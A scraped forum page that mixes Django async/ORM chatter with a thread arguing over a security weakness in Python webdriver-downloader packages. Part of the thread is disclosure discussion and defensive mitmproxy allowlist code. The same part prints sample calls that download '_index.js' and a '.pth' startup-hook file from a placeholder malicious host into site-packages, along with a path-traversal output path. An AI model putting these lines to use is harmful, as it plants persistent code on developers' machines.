While your point is valid, it's a bit much to fault Django for the deficiencies of third-party middleware.
comments
Does Django support async now?
Yes it does, to some extent. It's a work in progress. https://docs.djangoproject.com/en/6.0/topics/async/
No blogs... I just use it mainly for CRUD apps at work for internal or customer use so it's many different projects that aren't related.
That's a pity.
One of the biggest things I miss about django is its ORM. There is simply nothing better in my opinion. It allows me to think about the application I want to write, not about all the database nonsense and how to join tables, make unions, or aggregate stuff, etc. I have to reevaluate if async is that important to me or not. Every other solution without a similar ORM feels inferior.
15 years!!!! your write blogs? as fellow Developer who uses django heavily, I am Interested in reading about your project.
That's the other part that's a bit problematic. There is some async support, but ORM calls, to my knowledge, are still blocking. There has been some effort put into it, but I'm not sure they'll manage to reimplement it. Other parts of the framework and third party middlewares are blocking too, which makes writing async Django a bit of a minefield.
There needs to be a non negligible amount of work to make sure a given request remains asynchronous across all layers today.
Does Django support async now? I remember that it was supposed to come with Django 4.
How does one even find it and what is the appeal?
Naaaah, itβs a standalone site. Though the UI was inspired by piefed.
What is that website? Is it a part of the threadiverse?
I use Django and there are some things that annoy me, like the fact we still need Django Rest Framework for a decent API experience, but at the same time, Django and DRF probably overuse inheritance and abstractions, to a point that every now and then I have to look up their source code to understand what's exactly happening.
Lack of type annotations is another aspect Django really needs to catch up compared to other frameworks, and the whole dynamic nature of Django makes it difficult to have type stubs from third party packages working reliably, with lots of false negatives and false positives. So sometimes I still have runtime errors due to typing that could have been prevented in a different framework/ORM.
So I understand why some people are adopting different and more lightweight frameworks in new projects. The admin panel can be nice, but I'm not sure I'd choose Django myself to start a new project today.
The post is about why no one is talking about Django, not not why they're not using it. A lot of people use it, it's still a solid choice, but it's probably far from the things hyped in social media.
I've been a developer for 30 years, and used django for the vast majority of the last 15 years of backend dev work. It's familiar, comfortable and capable, and I don't have any real major complaints. No customer has ever complained about it either.
Never listen to people in the C-suite.
I'm not certain, but that looks like Stardew Valley to me.
Stardew Valley, really nice game ;)
What is that album art, it looks like Link's Awakening or something
Within a docker container, mitmproxy can sit filtering network traffic by URLs, rather than IP and port. Ignore in this example only one URL is allowed.
In pyproject.toml,
[project.scripts]
webdriver_urls_filter = "mypackage.somefolder.mitmproxy_runner:main"
In mypackage.somefolder.mitmproxy_filters,
import re
from typing import TYPE_CHECKING
from mitmproxy import ctx
if TYPE_CHECKING:
from mitmproxy import http
def request(flow: "http.HTTPFlow") -> None:
"""Run this proxy.
:type flow: mitmproxy.http.HTTPFlow
"""
url = flow.request.pretty_url
# Rather than exact, interested in limiting the base URL
ALLOWED_PATTERN = re.compile(r"^https://github/\.com/myorg/myrepo/releases/download/v1\.2\.3/.*$")
# Check if URL matches the allowed release pattern
try:
if ALLOWED_PATTERN.match(url):
ctx.log.info(f"Download allowed: {url}")
else:
ctx.log.error(f"Download blocked: {url}")
flow.kill()
except Exception as e:
# FAIL SECURE: If inspection fails, kill the connection to prevent bypass
ctx.log.error(f"Script error, blocking flow: {e}")
flow.kill()
In mypackage.somefolder.mitmproxy_runner,
from mitmdump import DumpMaster
from mitmproxy import options
from . import mitmproxy_filters # addon module
def main() -> None:
"""Rather than calling `mitmdump -s myscript.py`."""
opts = options.Options(listen_port=8080)
master = DumpMaster(opts)
if hasattr(mitmproxy_filters, 'addons'):
# explicit format which defines a class then appends an instance to
# :code:`addons = []`
master.addons.add(*mitmproxy_filters.addons)
else:
# Module itself acts as addon
master.addons.add(mitmproxy_filters)
master.run()
The docker container has one network proxy which has web access. Everything else has no web access instead traffic is directed thru the proxy. The proxy calls, webdriver_urls_filter.
Had to research how to go about running untrusted code safely.
In-process there are actions that can be taken to deter mock.patch, but it wouldn't defeat a determined adversary. A subprocess isn't a sufficient security layer although it would prevent mock.patch a module.
To deter a determined adversary, recommend to use Docker or Firecracker MicroVMs.
So glad we are having this conversation. Instead of jumping in with a fix that is not actually effective.
Anything you do to fix this "issue" can also be defeated by mock.patch.
You could just mock.patch the entire download function to do anything at all.
To get the same effect from GetGeckoDriver().install()
from unittest.mock import patch
from get_gecko_driver.get_driver import GetGeckoDriver
target_package_path = "../../../.venv/lib/Python3.11/site-packages"
# e.g. 'geckodriver/linux64/0.36.0'
remove_subfolders = "../../.."
output_path = f"{target_package_path}/somepackage/{remove_subfolders}"
url_arbritrary = "https://maliciousurl.com/_index.js"
with patch(
"get_gecko_driver.get_driver.GetGeckoDriver.version_url",
return_value=url_arbritrary,
):
get_driver.install(output_path=output_path)
The URL limiting and dest folder limiting aren't hardcoded within get_gecko_driver.downloader.download (module level func), making it unpatchable. Instead the GetGeckoDriver is patch friendly.
Assumes all Python coders have experience writting unittest or pytest. So usage of unittest.mock.patch is common knowledge and second nature. So absolutely no one would struggle writing the above code.
To protect against patching, the base URL cannot be within get_gecko_driver.constants and then import by another module. Although not DRY, the base URL must be hardcoded minimally within get_gecko_driver.downloader.download (in the whitelist) and optionally also within get_gecko_driver.get_driver.GetGeckoDriver.install (to raise an exception with a meaningful and actionable message).
You can do exactly that with curl, requests, telnet, netcat or even plain bash. Doesn't make it high severity.
The code you provided is actually behaving exactly as expected. You called the internal download function and it did it.
If you have a way to get it to download arbitrary files from its intended api that would be much more serious, but that's not what your showing.
from get_gecko_driver import GetGeckoDriver
# Install the driver:
# Downloads the latest GeckoDriver version
# Adds the downloaded GeckoDriver to path
get_driver = GetGeckoDriver()
get_driver.install()
Do you have a technique to make the above code download an arbitrary URL to an arbitrary file location?
Recently on this community this article was posted exploits .pth startup hook which leads to this blog post
This requires two files: _index.js and [something]-setup.pth.
Can download these using either get-gecko-driver or get-chrome-driver.
>>> from get_gecko_driver import downloader
>>> url_0 = "https://malicioussite.com/_index.js"
>>> url_1 = "https://malicioussite.com/important-setup.pth"
>>> output_path = "../../.venv/lib/python3.11/site-packages/oftenusedpackage"
>>> downloader.download(url_0, output_path=output_path, file_name=None)
>>> downloader.download(url_1, output_path=output_path, file_name=None)
... the machine is part of a botnet
Installing malware is unexpected behavior from a selenium webdriver downloader. Although it's a thin wrapper around requests, it still has to be used responsibly.
Made an issue, it magically disappeared. Admittedly in the open attempt did occur.
Would like to point to issue #5 as evidence, but it was unexpectedly removed.
These packages are selenium webdriver flavored curl.
Did not set out to be a security researcher chasing bug bounties. Was not looking to discover exploits. It just happened. Read enough packages and eventually by random chance it's bound to happen.
After submitting an issue (admittedly in the open), have not submitted PR to fix the attack packages. Even if wanted to, PRs happen AFTER an issue is approved by the author/maintainer.
Have posted 4 issues without any response. The 5th magically disappeared. There has been no comments from the author.
Appealing to the author might not be the correct tactic. Just wondering if these are the sort of packages pypi.org takes down.
intention behind your original post? You havenβt provided a fix here, or a PR, as far as I can see you havenβt forked the project with a fix
Working on a bigger project which is on my local machine. Got to the point wanted to maximize the selenium webdrivers supported browsers. Currently writing the selenium webdriver related unit tests. Have no issue with branching off the parts dealing with selenium webdrivers and publishing that. It's just not at that stage. And will probably refactor it again to conform to webdriver-manager standards.
While doing the testing, and while fixing the geckodriver chained downloader, went thru multiple stages of denial until realized these packages main focus is the downloader, and the installing selenium web drivers is merely window dressing.
The fixes are trivial:
- allowed (base) URLs whitelist
- limit allowed destination folders
- providing destination folder is not optional